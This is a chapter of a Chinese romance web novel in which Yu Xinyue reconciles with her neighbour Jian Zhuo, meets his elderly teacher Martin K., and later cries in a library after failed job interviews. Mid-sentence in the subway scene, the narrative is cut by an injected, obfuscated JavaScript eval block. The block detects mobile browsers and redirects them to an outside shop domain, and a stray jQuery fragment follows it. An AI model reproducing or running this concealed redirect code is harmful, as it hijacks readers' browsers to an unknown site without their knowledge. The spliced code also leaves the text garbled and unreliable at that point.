文趣网 > 其他小说 > 今天可以去你家蹭饭吗 > 6. 六轮新月
    这下好了,免费的饭票打水漂了,余新月独自在屋里唉声叹气。

    但不后悔自己的决定,虽然看起来有些激进,但哪怕重来一次,她依然会做出同样的选择。

    对余新月来说,有些事情可以让步,但有些事必须坚持。

    不就是做饭吗?她自己也可以!

    买了点菜回来自己下厨,倒也算是有滋有味,尽管美味程度比不得简大厨......

    两人聊天界面已安静数日,之前的交集都是他做好饭后发出邀请,亦或者是余新月厚着脸皮问“大厨咱今天吃啥?”

    自从那日警局的不愉快后,聊天记录就再没更新。

    仿佛是心电感应,停留了许久的聊天界面突然弹出了新的绿泡泡,吓得她差点连手机都没拿稳。

    Zico简:【来吃佛跳墙吗?】

    ......想必是那天她配着佛跳墙猛炫了三大碗米饭,才给对方留下了异常深刻的印象。

    熄灭屏幕,拇指在上面纠结地敲击了好几下。

    虽然很馋,但......人也必须要有自己坚持的原则啊!

    余新月将手机丢到一旁,抓起抱枕塞进怀里,不想和他讲话。

    反正冰箱里还有昨天没吃完的剩饭菜,虽然佛跳墙也挺好吃的......

    她在床上来回翻滚,把床单都弄得皱巴巴一团乱。

    手机又震动了几下,还是没忍住点开看了,真的只是纯属好奇。

    Zico简:【起诉需要你的协助,过来我们一起商量下可以吗?】

    Zico简:【巧巧说它想你了。】

    她一个鲤鱼打挺,欢快地从床上弹射起来。

    早说嘛!佛跳墙我来了!!!

    在余新月童年时期,每每和张映秋冷战后的破冰,都是她用干巴巴的语气主动与母亲讲话。

    对方也用生涩的语气回应,然后把饭菜重重摔在桌上,用一句“吃饭了”表示同意和解。

    所以她对接下来大概率的剧情发展早已烂熟于心。

    当余新月做好心理建设按下门铃后,门很快打开,随之而来映入眼帘的是一位气质矜贵且优雅的......外国男人?

    “Sorry,I......”下意识地用英语道歉,她的目光飞速在外国人身后逡巡。

    不对啊,这是简琢的家没错啊。

    一道富有磁性嗓音响起,她抬头望去,外国男子眼角的细纹漫开,浅碧色瞳孔清亮透润,吐出几句不太标准的中文:“新月?请进。”

    原来这位老绅士就是简琢口中的老师——Martin·K,怪不得身姿如此挺拔优雅,举止仪态从容,宛若上世纪的士绅名流。

    如果没有脸上的皱纹,光看身材,完全难以捕捉到岁月在他身上留下的痕迹。

    既然是简琢的老师,那必然也曾是个知名模特了?余新月隐约觉得他有点眼熟,但实在想不起来在哪见过,或许是在肖白薇家里的时尚杂志里吧。

    饭桌上,Martin·K拿筷子的姿势稳当娴熟,丝毫没有半分生涩,每个动作都自然得不像个外国人。

    优雅,实在是太优雅了。所有行为举止都像艺术品一样精致端庄。

    “抱歉,最近都在陪老师,所以就没叫你来吃饭。”

    余新月看向简琢泰然自若的神态,猛然停下嘴里的咀嚼:“我们不是在冷战吗?”

    “什么冷战?”他看起来比她还懵。

    余新月算是明白了,这人钝感力超强。

    待她将那日的心路历程讲述完毕,简琢才作恍然状。显然他却并不认为两人是在争吵:“只是对同一件事的不同解决方案罢了,没有对错,更不必争论。”

    余新月有些好奇:“那你怎么突然改变主意了?”

    “当时在警局我的老师也在场,了解完事情经过后,他也不太赞同我的做法。”

    身旁安静吃饭的老人显然听不懂中文,却在听到“老师”这个词的时候抬头看了一眼简琢,他马上又转换语言对老师说了些什么。

    余新月唯一熟练掌握的外语只有英文,完全不知道他们叽里咕噜地在说什么。

    饭后,简琢将纯牛奶在小锅里加热,倒入盛有醪糟的三个碗里搅匀,放入冰箱冷藏,等待自然凝固。

    为了三人顺畅交流,简琢打开了实时语音翻译软件置于桌面。他们借助翻译软件,一同商量着将起诉状拟好,再由简琢改日去法院递交材料。

    恰好冰箱里的冰乳酪也已成型,简琢将小碗端出,三人坐在客厅里边吃甜品边闲聊。

    口感嫩滑,醪糟的甜味混着奶香,像味道浓郁的牛奶布丁,Martin·K作为外国人第一次尝到醪糟的滋味,连连惊叹。

    简琢说:“老师今天来我家做客,顺便也想见见你。”

    “见我?”余新月大为不解。

    从始至终老人都保持一贯的缄默,闲聊时大多数情况只儒雅地笑着看两人间的互动。此时提及有关他的事,才不紧不慢地用外语说了句什么。

    简琢垂眸扫过软件里的译文,似乎感觉用词还不够准确,略作沉吟,从脑海中调出那个最准确的用词:“老师说他觉得你很有趣,非常......鲜活。”

    很独特的形容词,咱们国人很少这么形容人,一般是牛奶的品牌名字。

    余新月讪讪地摸了摸后脑勺,姑且就把这当做是称赞吧。

    除了起诉状以外,还需要监控视频、巧巧的体检报告、出警记录等各种材料,大热天的,跑来跑去实在麻烦。

    趁两人都在,简琢低声抱怨:“其实我现在依然不理解你们的坚持,这些太麻烦了。”

    “怎么会这么想呢?”余新月大为不解地提高了音量,“这就好比你的孩子在学校乖乖的,却莫名其妙被同学打了,为人父母哪里能咽的下这口气去和解?”

    简琢严肃否认:“我没有孩子。”

    “你!”简直是榆木脑袋!打比方懂不懂啊!

    下一秒,身旁传来Martin·K低沉从容的笑声,带着一点沙哑的磁性。

    噢,余新月倏然想起了一个网络热词——“老钱”的笑声。

    她深吸一口气,继续和男人辩论:“那联想下你的朋友、恋人、亲人这类亲近的人,如果是他们受欺负了,你怎么甘心轻易和解呢?”

    简琢身边几乎没有什么过于亲近的关系,他看了眼身旁的老师。虽然这件事几乎不可能发生在Martin·K身上,但如果要勉强联想,似乎终于能稍稍理解他们的坚持。

    Martin·K又从包里拿出自己的平板,神秘地朝余新月眨眼:“想看看他工作时的样子吗?”

    “想!”平时虽然她从来不主动过问,但内心实在是太好奇了!

    屏幕照片里的男人穿着各种看起来价格不菲的服饰,眼神冷峻而又疏离,衣服在他身上似乎有了生命,在各种不同主题的拍摄下焕发着别样的生机。

    “好帅!”余新月完全抑制不住地惊呼出声,用手掌捂住自己的嘴,瞪大了双眼,一句句“哇塞”接连不断。

    相册再往前翻,应该是简琢更年轻时的T台秀,那时他的头发还没现在那么长,身形也较为清瘦,但面部轮廓已初显锐利,依然是不可一世的目光,像个叛逆傲气的少年。

    余新月惊呼:“这个也很帅,很有少年感!”

    Martin·K在一旁表示强烈赞同,两人就简琢哪几张模特照最好看引发了热烈讨论,全然不顾被讨论对象已逐渐发红的双耳。

    他收好三人的碗勺遁入厨房,故作忙于洗碗。

    不知道是不是老师在,简琢今天居然屡次透出几分罕见的孩子气,她一时之间觉得很是新鲜。

    Martin·K接了个电话,嘴里往外蹦着听不懂的洋文,余新月在一旁不再出声打扰。

    她把巧巧唤来,抱在怀里耐心检查它破损的皮肤,用碘伏消毒棉签消毒后,给它的伤口涂药。

    小猫因为疼痛一直在挣扎,发出不满的咕哝声,她也不恼,好声好气地哄着,轻轻抓住它举起示威的小爪子又按了回去。

    “如果可以,我希望你可以和她做朋友,Zico。”Martin·K挂了电话,看着眼前这一幕,对洗完碗刚回到客厅的简琢轻声道,眼底满是温润的光,“她是个充满爱的女孩。”

    简琢对此并未回应,盯着她半晌,眉目也渐渐软了下来。

    上药完毕,女孩又把脸埋进巧巧毛绒绒的肚子里猛吸两口,脸上露出醉生梦死的神情,捧着巧巧的脸蛋大力揉搓。

    “多么可爱又活泼的女孩,不是吗?”Martin·K用意大利语问他。

    “是啊。”他轻声应答,嘴角噙着一抹笑。

    -

    接到张映秋电话的时候,余新月正在赶往面试现场。又起了个大早,特意画了个显气色的淡妆。

    面试的这家大公司位于繁华的市中心地带,也恰好是最为拥挤的地铁线路。

    挤了两趟也没挤上,眼见着快要迟到,她一咬牙站在了门边上,关门的时候还差点夹到她的包。

    空气中弥漫着一股死气沉沉的社畜味,每个人都因为早八面如土色,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17767617|209779||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    垂下脑袋双眼无神地刷着手机。

    最大音量的铃声宛若平地惊雷,惹得其他乘客频频侧目,余新月面露歉意,艰难地在人群夹缝中掏出手机。

    电话里,张映秋又是一阵絮絮叨叨的家常,她忍不住出声提醒:“妈,现在是工作日。”

    电话那头的张映秋一拍脑袋,才想起这件事,于是撂下一句:“你爸实在是不可理喻,妈去你那住两天。”说完没等她答应就挂了电话。

    没头没尾的非重点说了一堆,现在该详细讲的内容倒是不展开谈谈了?

    余新月无奈叹气,继续点开手机里的简历熟悉内容,构想着一会儿要如何回答面试官的问题。

    很久没面试了,其实她心里也有点没底。

    ……

    面试结束得比想象中还要早,她却不能直接回家,按照张映秋风风火火的麻溜速度,现在估计已经快到她出租屋了。

    而今天是工作日,“还在上班的女儿”不会在这个时间点出现于出租屋中,因此她打算去市中心图书馆挥霍剩余的时间。

    万幸工作日的图书馆人很少,她居然还能在角落找到一个半封闭的单人卡座,作为今年刚翻新的图书馆,台灯、插座、热水、厕所等配套设备一应俱全。

    余新月将马尾上的发绳取下,头发散落下来,她伏在桌面上,将头深深埋了进去。

    这几天面试下来,许多画面还在脑海里清晰回放,有个问题总被提及:“余女士,我们也看了你的简历,学历和曾经的工作经历都非常优秀,但目前看来您有个较长的空窗期,请问是什么原因?”

    她是这么诚恳回答的:“当时被辞退后想休息一段时间,所以......”

    话音未落,随即而来的是接连不断的质疑和否定:

    “这是否说明你的抗压能力有些不足呢?”

    “我们也会担心你能否再适应职场的节奏。”

    “抱歉,我们这个岗位还是比较辛苦的,可能和您个人情况不太匹配。”

    离职后的休息难道是罪吗?

    她知道需要适当美化那段空白期,但确实不想无中生有地撒谎,如果对方需要经历证明,反而会陷入更尴尬的境地。

    好累......

    感觉自己的人生真的好失败......

    余新月吸了吸鼻子,将脸从双臂中解放出来,侧过头直接枕在桌面上。

    庆幸这是一个角落的位置,没有人会看到一个二十多岁的失业女青年还在为面试失败而哭泣。

    好不容易建立起来的一点冲劲就像是被针扎破了的气球,瞬间就快要消失殆尽,变成皱巴巴的破烂小塑料片。

    也不知道过了多久,脸上的泪痕都要干了,唯有桌面上留下的几滴水渍。

    她眨了眨干涩的眼睛,想努力将头抬起,却又有些懒得动弹。

    忽然回想起备战高考前的那段日子,通宵做题感到疲惫的时候,也是这么侧趴在桌面上的。

    当时她只给自己一分钟的休息时间,从60秒开始往前倒数。

    时隔好几年,倒计时重新开启,余新月在心里默默数着。

    60、59、58......

    恍惚间仿佛又回到那个通宵达旦的艰难备考时期,虽然痛苦,但一切付出都有相应的回报。

    43、42、41......

    还记得在电脑前查到成绩的那一刻,身旁张映秋激动的尖叫声,流着泪抱住自己,随之而来的是老师和朋友们纷纷打来祝贺电话,还有地方电视台的邀约采访。

    25、24、23......

    后面的经历堪称优等生乖乖女的陨落,对家人隐瞒了失业和失恋的双重困境,她独自一人窝进逼仄破败的小房子里,过着深居简出的颓废宅女生活。

    十秒钟倒计时快结束了。

    她下定决心在倒数结束后立即从桌上爬起来,哪怕今天下午只读完一页书。

    ......3、2、1。

    余新月费力地从桌面上将脑袋拔起,仿佛刚刚有强力胶水将它们粘连在了一起。

    耳边隐约有脚步声响起,休息了片刻的大脑还有些运行迟缓,一时之间不知道该作何反应。

    “新月?”

    那道男声低沉浑厚,在安静的图书馆的缘故,特意压着嗓,透出些许气音,宛若上世纪的磁带唱片般磨耳。

    她身侧的窗帘倏地被风吹起一角,刺眼的阳光争相探出,恰好照在来人凑过来的眸子里。

    如此近距离看才发现,原来简琢的瞳孔是深棕色的,像晶莹的琥珀。